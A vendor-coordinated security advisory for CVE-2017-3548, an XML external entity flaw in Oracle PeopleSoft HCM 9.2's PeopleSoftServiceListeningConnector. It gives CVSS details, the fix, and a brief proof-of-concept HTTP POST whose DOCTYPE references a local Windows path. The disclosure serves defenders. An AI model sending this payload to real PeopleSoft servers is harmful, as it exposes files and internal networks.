Oracle PeopleSoft - PeopleSoftServiceListeningConnector XML External Entity via DOCTYPE

Application: Oracle PeopleSoft
Versions Affected: PeopleSoft HCM 9.2 on PeopleTools 8.55
Vendor URL: http://oracle.com
Bug: XXE
Reported: 23.12.2016
Vendor response: 24.12.2016
Date of Public Advisory: 18.04.2017
Reference: Oracle CPU April 2017
Author: Nadya Krivdyuk (ERPScan)
 
 
Description
 
1. ADVISORY INFORMATION
Title:[ERPSCAN-17-020] XXE VIA DOCTYPE in PeopleSoft
PeopleSoftServiceListeningConnector
Advisory ID: [ERPSCAN-17-020]
Risk: high
CVE: CVE-2017-3548
Advisory URL: https://erpscan.com/advisories/erpscan-17-020-xxe-via-doctype-peoplesoft/
Date published: 18.04.2017
Vendors contacted: Oracle
 
 
2. VULNERABILITY INFORMATION
 
Class: XXE
Impact: File disclosure, network discovery
Remotely Exploitable: yes
Locally Exploitable: no
 
CVSS Information
CVSS Base Score v3:    8.0 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) High (H)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Changed (C)
C : Impact to Confidentiality High (H)
I : Impact to Integrity High (H)
A : Impact to Availability High (H)
 
3. VULNERABILITY DESCRIPTION
 
A malicious user can modify an XML-based request to include XML
content that is then parsed locally.
 
4. VULNERABLE PACKAGES
 
PeopleSoft HCM 9.2 on PeopleTools 8.55
 
5. SOLUTIONS AND WORKAROUNDS
 
To correct this vulnerability, implement Oracle CPU April 2017
 
6. AUTHOR
 
Nadya Krivdyuk
 
 
7. TECHNICAL DESCRIPTION
 
An attacker can use an XML external entity vulnerability to send
specially crafted unauthorized XML requests, which will be processed
by the XML parser. The attacker can use an XML external entity
vulnerability for getting unauthorised access to the OS file system.
 
PoC
 
 
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: 172.16.2.91:8000
Content-type: text/xml
<!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows">

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